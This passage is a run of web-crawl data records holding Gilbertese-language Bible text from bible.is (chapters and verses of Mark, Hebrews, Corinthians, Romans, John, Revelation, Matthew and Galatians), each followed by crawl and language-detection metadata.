rarikini waena. 26Te I-Erene neierei ae e bungiaki n te tabo ae Turoboinikia. E butiia Iesu bwa E na kanakoa te taimonio mai iroun natina are te teinaine. 27Ma E taku Iesu nakoina, Ti na kaamwarakeia moa ataei, bwa e aki riai bwa ti na anai kanaia ataei n tewenakoa nakoia kamea. 28E taku neierei nakoina, Eng, te Uea; ma kamea ake a mena i aan te taibora, a kang taamruruni kanaia ataei! 29Ao E taku Iesu nakoina, I bukin am kaeka anne, ao ko na nako n okira mwengam, ao ko na noora natim bwa akea te taimonio irouna. 30Ao neierei, e okira mwengana, ao e noora natina bwa e wene i aon te nne ni wene, ao akea te taimonio irouna bwa e a tia n nako. 31Ao Iesu E kiitan taabo ake i rarikin Tuuro, ao E toua kawain te kaawa are Titon, ao E ri nuukan Tekabori nako namani Kariraia. 32Iai aomata tabemwaang ake a kaira nakon Iesu te aomata ae e bono taningana ao e babanga taetae. A butiia Iesu bwa E na katokaa baina i aona. 33Ao Iesu, E airi ma ngaia ni kaokoroia mai irouia aomata, ao E karin tabonibaina i nanon taningan teuarei; ao e baware ao E riiga newen teuarei. 34E tara rake ngkanne nako karawa, ao E ike rake ni kamaanna teutana, ao E taku nakon teuarei, Ebata, ae nanona, Uki. 35N te tai naba arei, ao te aomata arei e a konaa n ongo ao aakea te baere e tuutuuka etin ana taetae, ao e a konaa te taetae raoi. 36Ao Iesu, E tuangiia aomata bwa a na aki tuanga temanna taekan te baei; ao ngke E kabatiai ana taeka nakoia bwa a na aki tuangiia aomata, ao a kabatiaa riki tataekinana. 37Ao aomata ake a ongo, a rangi ni miimii. A taku, A nako raoi bwaai ni kabane ake E karaoi: bwa E karaoiia aika a bono taningaia bwa a na ongo, ao aika a bae neweia bwa a na taetae.\nMAREKO 7","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/7","date":"2014-07-28T09:20:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510257966.18\/warc\/CC-MAIN-20140728011737-00237-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1097,"character_repetition_ratio":0.054,"word_repetition_ratio":0.004,"special_characters_ratio":0.239,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae e riai bwa ti na tau ni kamatoai baika ti a tia n ongo, bwa ti kaawa ni beibeti nako. 2Bwa ngke e nooraki aron te taeka are e taekinaki irouia anera bwa e koaua, ao ngke a reke booni buure ni kabane ma aki-ongeaaba ni kabane aika booia aika a riai, 3ao ti na iranira ni kareke maiura ngkana ti aki mutiakina te aro ni kamaiu ae e kakannato aei? E moa n taekinaki iroun te Uea, ao e kakoauaaki nakoira irouia ake a ongo; 4ao te Atua E raoniia ni kakoauaa n arona ni karaoi kanikina ma kamiimii ma mwakuri aika a mwaaka ma tibwaakini bwaai n tituaraoi ake mai iroun te Taamnei are e Raoiroi. 5Bwa te Atua E aki kaaki i aani mwaakaia anera taekan te aonnaba ae e nangi roko, ae ti taekinna. 6Ma e taetae temanna n te tabo teuana n te Baibara ni kaangai: Tera te aomata, ngkai Ko ururingnga? Ke natin te aomata, ngkai ko kaakawaria? 7Ko karinanoa riki nakoia anera i nanon te tai ae e aki maan; Ko baunna bwa kaanga te uea n te neboaki ma te karineaki. 8Ko kaaki bwaai ni kabane i aani waena. Bwa ngke E kaaki bwaai ni kabane i aana, ao bon akea ae E katikua n aki kaaki i aana. Ma ngkai, ti tuai n noori bwaai ni kabane i aana. 9Ma ti noora Iesu, are e karaoaki ni karinanoaki riki nakoia anera i nanon te tai ae e aki maan, bwa E aonga ni mate i bukiia aomata ni kabaneia; ao e riki aei man nanon te Atua n akoi. Ti nooria ngkai bwa E a baunaki n te neboaki ma te karineaki ibukin arona ni maraki ma ni mate. 10Bon te bwai ae e riai iroun te Atua, are Ngaia ae e kariki bwaai ma ni kateimatoai aroia, bwa E na karaoa Iesu bwa E na bobonga raoi arona n te maraki, bwa a aonga natin te Atua aika a bati ni buokanibwai ma Iesu ni mimitongin te Atua. Bwa Iesu boni Ngaia ae e kairiia nakon te kamaiuaki. 11Bwa Iesu ni bootaki ma ake a riki n tabu maiuia irouna bwa ana bwai te Atua a bane n nako man te oi ae ti teuana. Ma ngaia ae E aki maamaa n atongiia bwa tarina, 12ngkae E kaangai N na taekina aram nakoia tariu; N na anenea aram i buakon aia bootaki. 13Ao E kaangai naba: N na onimakinna. Ao E a manga kaangai naba: Noria, Ngai ma ataei aika E anganai te Atua. 14Ma ngaia ae ngkai a buokanibwai ataei n te raraa ma te iriko, ao Iesu E buokanibwai naba ma ngaiia ni baikai, bwa e aonga n riki matena bwa kataean ana kai teuare iai mwaakana i aon te mate, ao teuaei bon te riaaboro; 15ao n te aro aei E a kainaomataia iai aomata ni kabaneia aika a toronaki n aia bongi ni maiu ni kabane ni maakan te mate. 16Bwa E aki tauia anera ni kamaiuiia, ma E tauia ana kariki Aberaam ni kamaiuiia. 17Ma ngaia are e riai irouna bwa E na riki n ai aroia tarina ni bwaai ni kabane, bwa E aonga n riki bwa aia Ibonga ae e Kakannato ae e nanoanga ma ni kakaonimaki ni baika a reitaki ma te Atua, n anga te karea n raoi ibukin aia bure aomata. 18Bwa ngkae E a tia ni maraki ao ni kariiriiaki, ao E boni konaa ni buokiia akana a kariiriiaki.\nEBERA 2","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2","date":"2014-07-25T14:20:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997894289.49\/warc\/CC-MAIN-20140722025814-00073-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":584,"character_repetition_ratio":0.052,"word_repetition_ratio":0.007,"special_characters_ratio":0.234,"stopwords_ratio":0.481,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:2121I maamaa n taekinna bwa ti a tia ni mamaara nakoni karaoani baikanne; ma ngkana iai te baene e ninikoria iai te aomata, I taetae ni baba, ao I ninikoria naba ngai. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/21","date":"2014-07-22T21:19:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997862711.66\/warc\/CC-MAIN-20140722025742-00130-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":0.9999675751,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9999675750732422}","num_words":48,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21Bwa aron te bure ngke e nooraki arona n uea n te mate, ao ai arona naba bwa e na uea te aakoi ni kaetan arora n reitaki ma te Atua, ao ni kairiira naba nakon te maiu are e aki toki iroun Iesu Kristo are ara Uea. Ao te bure e karokoa te mate, ao a bane n rootaki aomata ni kabaneia n te mate ibukina bwa a bane ni bure.\nROM 5:21\nFREE!\nOne App.\n1002 Languages.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/21","date":"2014-07-28T05:38:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510256737.1\/warc\/CC-MAIN-20140728011736-00478-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":77,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:22Ngkana a aki kinai tema'ngina bwa te tia tuatua ngai, ma kam boni kinai bwa te tia tuatua ngai nakoimi; bwa boni kakoauaan nakoau ngkami bwa te tia tuatua ngai ibukin te Uea. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/2","date":"2014-07-29T19:47:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510267824.47\/warc\/CC-MAIN-20140728011747-00043-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":0.9999195337,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9999195337295532}","num_words":49,"character_repetition_ratio":0.164,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwaain rokon te Toa are te Riao, ao E ataia Iesu bwa e a roko ana aoa ni kiitana te aonnaba aei nakon Tamana. E a kaman titiku i nanona tangiraia aomata ake a onimakinna, ake a mena i aon te aba, ao E tangiriia ni karokoa te toki. 2Ao ngke a amwarake, ngke e a tia te riaaboro ni karina te iango i nanon Iuta, are natin Timon Itekariota, bwa e na kamwanea Iesu, 3ao Iesu, n ataana irouna bwa E a tia Tamana ni kaaki bwaai ni kabane i aani mwaakana, ao bwa E roko mai iroun te Atua ao E na manga oki nakon te Atua. 4E tei rake man te amwarake, ao E buuta kunnikaina, ao E kabaea te kaoa i nuukana. 5Ao i mwiina E kabwaroa te ran i nanon te beetin, ao E moanna n teboki waeia ana reirei, ao E kaoi n te kaoa are e bae i nuukana. 6E roko ngkanne iroun Timon Betero. E taku Betero nakoina, Te Uea, Ko teboki waeu? 7E kaeka Iesu ao E taku, Ko aki ataa ae I karaoia ngkai, ma ane ko na ataia rimwi. 8E taku Betero nakoina, Bon akea te anga ae Ko na teboki iai waeu. E kaeka Iesu ao E taku, Ngkana I aki teboki waem, ao ko aki buokanibwai ma Ngai. 9E taku Timon Betero nakoina, Te Uea, tiaki ti waeu, ma teboki naba baiu ma atuu! 10E taku Iesu nakoina, Ane e a tia n tebokia ao e itiaki rabwatana ni kabanea, ao e aki manga tangira te tebotebo, ma ti waena ae e na tebokia; ao kam itiaki, ma kam aki bane n itiaki. 11Bwa E a kaman ataa teuare e nang kamwanea; ma ngaia are e kaangai, Kam aki bane n itiaki. 12Ao ngke E a tia Iesu n teboki waeia ana reirei, ma ni karina ana kunnikai are E a tia ni buutia, ma ni manga okira nnena n tekateka n rarikiriki, ao E taku nakoia ana reirei, Kam ataa nanon te bae I a tibwa tia ni karaoia nakoimi? 13Kam atongai bwa te Tia Reirei ao te Uea; ao e eti ami taeka, bwa boni Ngai. 14Ma ngaia are ngkai I teboki waemi, Ngai ae ami Uea ao ami Tia Reirei, ao kam bon riai naba ngkami n i teboteboki waemi. 15Bwa I anganingkami te banna ni kakairi, bwa kam na katootoonga ae I a tia ni karaoia nakoimi. 16Bon te koaua ni koaua ae I a tuangkami, bwa e aki kakannato riki te toro nakon ana mataniwi; ao e aki kakannato riki ane e kanakoaki nakon ane e kanakoa. 17Ngkana kam atai baikai, ao kam a kabwaia ngkana kam karaoi. 18I aki taekiningkami ni kabaneingkami; I ataiia aika I a tia n rineiia; ma e na kakoroaki nanon are e taekinaki n te Baibara ni kaangai: Te aomata ae I amwarake ma ngaia, e riki bwa te tia kamwaruaai. 19I taekina te baei ngkai nakoimi, ngkae e tuai n riki; bwa ngkana e riki, ao kam na kakoauaai bwa boni Ngai ae Ngai. 20Bon te koaua ni koaua ae I a tuangkami, bwa ane e mwanea n aakoa ane I kanakoa, ao e mwaneai n aakoai; ao ane e mwaneai n aakoai, ao e mwanea n aakoa naba Teuare e kanakomaiai. 21Ngke E a tia n atongi baikai Iesu, ao e rawaawata taamneina; ao E taetae ma te aki nanokokoraki ni kaangai, Bon te koaua ni koaua ae I a tuangkami bwa ane e nang kamwaneai temanna i buakomi. 22A i taramata ana reirei ma te mino n nano bwa ai antai ae E nanonna n ana taeka. 23Ao temanna i buakoia ana reirei Iesu, are te reirei are E tangiria Iesu, e rarikiriki ni kaan ma bwanibwanin Iesu. 24Ma ngaia are e karaoa te kanikina Timon Betero nakoina, ao e kaangai, Kakaaea mai iroun Iesu bwa antai ae E nanonna n ana taeka. 25Ao e ei nako ngkanne teuarei ni kaania riki Iesu, ao e titirakinna ni kaangai, Te Uea, antai ae Ko nanonna? 26E kaeka Iesu ao E taku, N na kateboa te mwakoro ni kariki ao N na anganna; boni ngaia teuanne. Ma ngaia are ngke E a tia Iesu ni kateboa te mwakoro ni kariki, ao E anaia, 0 ao E angan Iuta, are natin Timon Itekariota. 27I mwiin te tai are e reke iroun Iuta iai te mwakoro ni kariki, ao e a rin naba Tatan i nanon Iuta. E taku ngkanne Iesu nakoina, Tai tabwara, karaoa ane ko nang karaoia. 28Bon akea temanna i buakoia ake a rarikiriki n amwarake, ae e ataia bwa bukin tera ngke E atonga aei Iesu nakon Iuta. 29Ma a taku n aia iango tabemwaang i buakoia ana reirei, bwa ngkae e mena iroun Iuta nnen te mwane, ao e a tuangaki iroun Iesu bwa e na kaboo baike a kainnanoi ibukin te Toa, ke e na angania akana a aki kaubwai te bwai teuana. 30Ma ngaia aei, bwa ngke e reke iroun Iuta te mwakoro ni kariki, ao e a oti nako naba; ao e a bong. 31Ao ngke e a tia n oti nako Iuta, ao E taku Iesu, Ane e nangi nooraki ngkai irouia aomata mimitongin Natin te Aomata; ao ane e na nooraki naba n arona aroni mimitongin te Atua. 32Ao ngkana a na noora irouna aroni mimitongin te Atua, ao te Atua ngkanne E na manga kaota nakoia aron Natin te Aomata ni kamimitongaki irouna, ao ane E na karaoia ngkai naba. 33Ataei, N na aki maan ni meemena i rarikimi. Ane kam na ukoukorai; ao n aron are I a tia n taekinna ngkoa nakoia I-Iutaia, ao I a manga taekinna ngkai nakoimi, Kam aki konaa n roko n te tabo are N na nako iai. 34I anganingkami te tua ae e boou: kam na i tangitangiri; n ai arou ngke I tangiringkami, bwa kam aonga n i tangitangiri. 35Ngkana kam bwaina te itangitangiri, ao ane a na ataingkami iai aomata ni kabaneia bwa au reirei ngkami. 36E taku Timon Betero nakon Iesu, Te Uea, Ko na nakea? E kaeka Iesu ao E taku, Ko aki konaa n irai ngkai nakon te tabo are N na nako iai; ma ko na irai rimwi. 37E a manga taku riki Betero nakoina, Te Uea, e aera bwa N na aki konaa n iriko ngkai? N na anga maiuu i bukim. 38E kaeka Iesu ao E taku, Ko na anga maium i bukiu? Bon te koaua ni koaua ae I a tuangko, bwa i mwaain tangin te moa ao ane ko na katenua kaakeaau.\nIOANE 13","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/John\/13","date":"2014-07-23T08:38:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997877644.62\/warc\/CC-MAIN-20140722025757-00187-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1095,"character_repetition_ratio":0.059,"word_repetition_ratio":0.006,"special_characters_ratio":0.246,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:1616ao e tau itoi aika itiua i nanoni baina are ataina, ao e oti nako mai wiina te kabaang ae e kakang ae uaitera wina; ao taraan ubuna ai aron taai ae e korakora riringana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/16","date":"2014-07-29T04:02:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510264575.30\/warc\/CC-MAIN-20140728011744-00079-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":0.999826014,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9998260140419006}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao tera ae ti na taekinna bwa iai iroun Aberaam, are ara bakatibu n te maiu n rabwata? 2Bwa ngke tao e kaetaki arona n reitaki ma te Atua ibukin ana mwakuri, ao bon iai ana bwai ni kamoamoa iai; ma e aki konaa ni kamoamoa i matan te Atua. 3Bwa e kaanga te Baibara? E kaangai, E onimakina te Atua Aberaam, ao e atongaki ana onimaki bwa ngaia ae e reke iai kaetan arona n reitaki ma te Atua. 4E aki atongaki boon te tia mwakuri bwa te bwai n aakoi nakoina, ma e atongaki bwa boona are e riai ni bwaka nakoina ibukin ana mwakuri. 5Ma ane e aki mwakuri, ma e onimakina Teuare e motika taekan te tia bure bwa e aki bure, ao e atongaki ana onimaki bwa ngaia ae e reke iai kaetan arona n reitaki ma te Atua. 6N ai aron naba ana taeka Tawita are e atongnga ibukini kabwaian te aomata are e atongaki ana onimaki bwa ngaia ae e reke iai kaetan arona n reitaki ma te Atua n aki warekaki ana mwakuri; e kaangai ana taeka Tawita: 7A a kabwaia akana kabwaraaki aia buaakaka, akana rabunaki aia bure! 8E a kabwaia te aomata ae e aki tauaki mwiin ana bure iroun te Uea. 9Ti aia bwai akana koroberoaki te kabwaia aei, ke aia bwai akana aki koroberoaki? Bwa ti taku bwa e atongaki ana onimaki Aberaam bwa ngaia ae e reke iai kaetan arona n reitaki ma te Atua. 10Ao e atongaki n te aro ra? Ngke e a tia ni koroberoaki ke ngke e tuai? E aki atongaki ngke e a tia ni koroberoaki, ma e atongaki ngke e tuai. 11Ao e anganaki te kanikina are te koroberoaki, bwa kanikinaaeani kaetan arona n reitaki ma te Atua are e reke irouna n ana onimaki ngke e tuai ni koroberoaki. N te aro aei, ao e riki Aberaam bwa kaanga tamaia akana onimaki ni kabaneia, e aoria ngkana a tuai ni koroberoaki; ao a butimwaaeaki iroun te Atua bwa aomata ngaiia aika a tia ni kaetaki aroia n reitaki ma Ngaia. 12Bon tamaia aomata nako aika a tia ni koroberoaki, tiaki ti ibukin ae a koroberoaki, ma ibukin naba aia onimaki bwa ti te bo ma ana onimaki Aberaam are tamaia ngke e tuai ni koroberoaki. 13Bwa e anganaki te taeka n aakoi Aberaam ma ana kariki are e na riki iai bwa te tia ababa i aonnaba, tiaki n te Tua, ma ibukini kaetan arona n reitaki ma te Atua are e reke n te onimaki. 14Bwa ngkana taan ababa te koraki ake a ongeaaba nakon te Tua, ao ngkanne akea manen te onimaki, ao akea naba boongan ana taeka n aakoi te Atua. 15Bwa irian te tua bon te reke ni kai; ma ike akea te tua iai, ao akea naba riaoana iai. 16Ma ngaia ae iai te taeka n aakoi ibukin te onimaki, bwa e na kaotaki aron te taeka n aakoi aei bwa bon ana bwai n tituaraoi te Atua, ao e na teimatoa arona i bukiia ana kariki Aberaam ni kabaneia; tiaki ti nakoia ake a ongeaaba nakon te tua, ma nakoia naba ake a onimaki n ai aron Aberaam: 17n ai aron are e koreaki ni kaangai: I karaoiko bwa tamaia bootanaomata aika a bati. Ma ngaia ae e raoiroi te taeka n aakoi ibukin aron te Atua, are e onimakinna Aberaam-are te Atua are e kamaiuiia maate, ao are iai irouna te konaa ni kariki bwaai ngke bon akea. 18E teimatoa n onimaki Aberaam ngke akea bukin ana kakaantaninga, bwa e na riki bwa tamaia bootanaomata aika a bati, n ai aron are e atongaki ni kaangai: Ai aron naba mwaitiia am kariki. 19Ao e aki mamaara ana onimaki ngke e iangoa rabwatana bwa kaanga e mate, ngke tao tebubua ana ririki; ao ngke e iangoa naba aron Tara n aki konaa ni kariki. 20Akea te aro ae e na rawa iai Aberaam ni kakoauaa te taeka n akoi; ma e riki ni korakora n ana onimaki, ao e neboa te Atua, 21ma nanona ae e koaua raoi bwa E na boni kakoroa bukin ana taeka n aakoi te Atua. 22Ao anne bukin are e atongaki iai Aberaam, n ana onimaki, bwa e reke irouna iai kaetan arona n reitaki ma te Atua. 23Ma te taeka ae e kaangai, E reke irouna kaetan arona n reitaki ma te Atua, e aki koreaki ibukin Aberaam n ti ngaia, 24ma i bukira naba. E na atongaki nakoira ngaira aika ti onimakina Teuare e kamaiua Iesu mai buakoia maate, 25are E anga te Atua bwa E na tiringaki ibukin ara bure; ao E a manga kamaiua i bukira, bwa a aonga ni kaetaki arora n reitaki ma te Atua.\nROM 4","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/4","date":"2014-07-30T15:14:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510270577.0\/warc\/CC-MAIN-20140728011750-00071-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":793,"character_repetition_ratio":0.114,"word_repetition_ratio":0.043,"special_characters_ratio":0.23,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E weteiia ana reirei Iesu ake tengauni ma uoman, ao E anganiia te mwaaka i aoia taamnei aika a kamwaraa bwa a na kanakoia, ao te mwaaka ni katoki aoraki ni kabane ma mamaara ni kabane. 2Aikai araia taan tuatua ake tengauni ma uoman: te moa n ara bon Timon, are arana teuana Betero, ao Anterea are tarina; ao Iakobo are natin Tebetaio, ao Ioane are tarina; 3ao Biribo, ao Bwaretoromwaio; ao Toma, ao Mataio are te tia anai taekiti; ao Iakobo are natin Arebwaio, ao Tataio; 4ao Timon are te Kananaian, ao Iuta are e aranaki bwa Itekariota, are e kamwanea Iesu. 5E kanakoia uaaka tengauni ma uoman Iesu, ao E tuangiia ni kaangai, Tai nako n taabo aika a mena iai aomata akana a tiaki I-Iutaia, ao tai rin n aia kaawa I-Tamaria; 6ma kam na nakoia Iteraera ake a tia n riki bwa kaanga tiibu aika a bua. 7Ao ngkana kam nako, ao aei kanoan ami kabwarabwara: E a kaan roko uean te Atua. 8Kam na kamaiuiia akana a aoraki; kamaiuiia akana a tia ni mate; katoki reeberaia akana a reebera, ao kanakoia taimonio. I a tia n anganingkami te mwaaka ni karaoi baikai n akea boona mai iroumi. Ma ngaia are kam na nako ao karaoi naba baikai nakoia temwaangina n akea boona. 9Tai ua mwane; 10ao tai uoti nneni kanami ibukini mwanangami, tai uoti uoua te kabaraaki, tai ua kauniwae, ao tai ua oko; bwa e riai bwa e na anganaki te tia mwakuri baika e kainnanoi ibukini maiuna. 11Ao ngkana kam rin n te kaawa teuana ae e buubura ke ae e uarereke, ao kam na kakaaea iai ane e tauraoi ni butimwaaingkami, ao tiku irouna ni karokoa kam nako maiai. 12Ao ngkana kam rin n te auti teuana, ao kam na kamauriia kaaina. 13Ao ngkana a butimwaaingkami, ao tataro nakon te Atua bwa E na kakabwaiaia; ma ngkana a aki butimwaaingkami, ao butiia te Atua bwa E na aki mwannanoa ami tataro are kam buubuti iai bwa a na kakabwaiaaki. 14Ao ngkana akea temanna i buakoia ae e mwaneingkami n akoingkami, ke e aki ongo ami taeka, ao kam na taei bubun aontano mai waemi ngkana kam kiitana te kaawa are e abwaabwaki arei, bwa kaotan ae kam a rawa mai irouia. 15E koaua ae I a tuangkami bwa e beebete riki te rekenikai are e na reke nakoia I-Totom ma I-Komora, n te bongi ni motiki-taeka, nakon are e na reke nakoia. 16Noria, I kanakoingkami bwa kaanga tiibu i buakoia kameaanti; ma ngaia are kam na wanawana n ai aroia naeta, ao kam na nimamannei n ai aroia taobe. 17Kam na kaawakiningkami mai irouia aomata; bwa ane a na kateingkami i matani kaboowi, ao ane a na oreingkami i nanoni mwaneabaia I-Iutaia; 18ao ane kam na katikaki nako mataia taan tau-taeka ma ueea i bukiu, ma kam na taekina te koaua nakoia ao nakoia aomata akana tiaki I-Iutaia. 19Ngkana a kateingkami, ao tai katabei nanomi n iangoi aromi bwa kam na kangaa n taetae, ke tera ae kam na taekinna; bwa ane kam na anganaki baike kam na taekin n te aoa naba arei. 20Bwa tiaki ngkami ake kam taetae, ma bon Taamnein Tamami are e taetae mai iroumi. 21Ao te mwaane ane e na anga tarina bwa e na tiringaki, ao ai aron naba are e na karaoia te tama nakon natina; ao ane a na tei rake naati n ekiia nako aia karo ao a na anga bwa a na tiringaki; 22ao ane kam na ribaaki irouia aomata ni kabaneia ibukin arau. Ma ane e nanomwaaka ni karokoa matena, ao e na kamaiuaki. 23Ngkana a bwainikiriningkami n te kaawa teuana, ao kam na biri nakon te kaawa are teuana; bwa e koaua ae I a tuangkami, bwa a na aki bane n tia ami mwakuri i nanon aia kaawa nako Iteraera i mwaain rokon Natin te Aomata. 24E aki kakannato riki ane e reireiaki nakon ana tia reirei, ke te toro nakon ana toka. 25E na rau nanon ane e reireiaki ngkana e reke irouna katootoongan aron ana tia reirei, ao ai aron naba te toro ngkana e reke irouna katootoongan aron ana toka. Ngkana a atonga mataniwiin te utu aomata bwa Beretebubwa, ao ai bati ra riki irouia atongaia kaain ana utu n aara aika a bubuaka riki! 26Ma ngaia ae kam na tai maakuia; bwa akea te bae e rabunaki ae e na aki kaotaki, ao ae e karabaaki ae e na aki ataaki. 27Ae I tuangkami n te roo, ao kam na taekinna n te ngaina; ao ae kam ongo irou ngke ti ngaira, ao kam na takaaruaia i aon taubukin auti. 28Kam na aki maakuia akana a kamatea te rabwata ma a aki konaa ni kamatea te aomata ni koaua ane i nanon te rabwata; ma kam na maaka Teuare e konaa ni kamatea i Keenna te rabwata ma te aomata ni koaua ane i nanon te rabwata. 29Tiaki a kabooaki uoman te tibwaaro n te bo ae e rangi n uarereke? Ao bon akea temanna i buakoia ae e na bwaka i aontano ngkana tiaki nanon te Atua. 30Ao ae e a moamoa riki, a bane ni warekaki iran atuum i. 31Ma ngaia ae kam na tai maaku; bwa kam boongana riki nakoia tibwaaro aika a bati. 32Ma ngaia aei, bwa ane e kaotia i mataia aomata bwa raona Ngai, ao Ngai I a manga kaotia i matan Tamau are i karawa bwa raou ngaia. 33Ma ane e kaakeaa i mataia aomata, ao Ngai I a manga kaakeaa naba i matan Tamau are i karawa. 34Tai taku i nanomi bwa I roko bwa N na uota te raoi nako aonnaba: I aki roko bwa N na uota te raoi, ma I roko bwa N na uota te kabaang. 35Bwa I roko bwa N na kauna te nati te mwaane nakon tamana, ao te nati te aine nakon tinana, ao te ainenumwa nakon tinani buuna; 36ao ane a na riki ana utu te aomata bwa ana kairiribai. 37Ane e tangira riki tamana ma tinana nakoiu, ao e aki tau bwa e na riki bwa au reirei; ao ane e tangira riki natina te mwaane ke natina te aine nakoiu, ao e aki tau bwa e na riki bwa au reirei. 38Ao ane e aki uota ana kaibangaki n iriirai n ri mwiiu, ao e aki tau bwa e na riki bwa au reirei. 39Ane e kaawakina maiuna, ao e na boni kabua; ao ane e kabuaa maiuna i bukiu, ao e na boni karekea. 40Ane e mwaneingkami n akoingkami, ao e mwaneai n aakoai; ao ane e mwaneai n aakoai, ao e mwanea n aakoa Teuare e kanakoai. 41Ane e mwanea n aakoa te buraabeti ibukina bwa te buraabeti, ao e na karekea kaniwangana ae ti te bo ma te kaniwanga ibukin te buraabeti; ao ane e mwanea n aakoa te aomata ae e raoiroi, ao e na anganaki te kaniwanga ae ti te bo ma te kaniwanga ibukin te aomata ae e raoiroi. 42Ao ane e anga ti te mwangko n ran ae e mwaitoro nakon temanna i buakoia aika a uarereke aikai ngkae e atongaki bwa au reirei, ao e koaua ae I a tuangkami bwa e na bon anganaki kaniwangana.\nMATAIO 10","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/10","date":"2014-07-11T22:54:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776429991.81\/warc\/CC-MAIN-20140707234029-00067-ip-10-180-212-248.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1209,"character_repetition_ratio":0.048,"word_repetition_ratio":0.012,"special_characters_ratio":0.234,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21E eki nako ngkanne ana taeka n aakoi te Atua te Tua? E bon aki; bwa ngke arona bwa e anganaki te aba te tua ae e konaa te kakamaiu, ao a konaa ngkanne n reke reitakiia aomata ni kabaneia ma te Atua n iran nanon te tua anne.\nKARATIA 3:21\nFREE!\nOne App.\n1536 